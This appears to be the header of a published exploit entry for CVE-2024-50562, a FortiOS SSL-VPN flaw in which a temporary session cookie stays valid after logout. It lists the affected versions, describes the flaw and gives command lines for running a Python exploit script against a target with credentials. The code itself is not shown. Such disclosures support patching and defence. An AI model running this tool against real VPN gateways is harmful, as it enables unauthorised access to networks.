# Exploit Title: FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse
# Date: 2025-06-15
# Exploit Author: Shahid Parvez Hakim (BugB Technologies)
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate
# Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all)
# Tested on: FortiOS 7.4.x, 7.2.x
# CVE: CVE-2024-50562
# CVSS: 4.4 (Medium)
# Category: Session Management
# CWE: CWE-613 (Insufficient Session Expiration)
Description:
An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker
to reuse stale session cookies after logout, potentially leading to unauthorized access.
The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout.

Usage:
python3 fortinet_cve_2024_50562.py -t <target> -u <username> -p <password> [options]
Example:
python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
